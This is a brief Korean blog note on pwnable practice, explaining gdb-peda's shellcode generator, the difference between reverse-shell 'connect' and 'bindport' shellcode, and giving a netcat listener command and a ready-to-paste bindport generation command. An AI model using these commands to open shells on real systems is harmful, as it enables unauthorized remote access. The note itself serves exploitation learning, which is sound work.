gdb-peda$ shellcode generate
입력하면 만들 수 있는 쉘코드 종류가 나온다.
connect는 리버스 쉘 연결이고
bindport는 자기가 열어놓고 기다린다.
즉, connect로 하면 내가 nc -lvp 8888 처럼 포트 열어놓고 기다려야 한다..... (이거때매 삽질함)
bindport를 사용하면 열리니까, 그냥 접속하면 된다.
쉘코드 생성방법은 다음과 같다.
아래는 복붙용ㅋ
shellcode generate x86/linux bindport 8888 127.0.0.1
'pwnable' 카테고리의 다른 글
Understanding Attacking Environment Variables - Hooking LD_PRELOAD (0) | 2020.02.15 |
---|---|
PIE base 구하기 (pwntools) (0) | 2018.09.02 |
peda에서 heap 명령어 (0) | 2018.08.24 |
쉘코드 모음 (0) | 2018.08.02 |
메모리 구조 (0) | 2018.07.26 |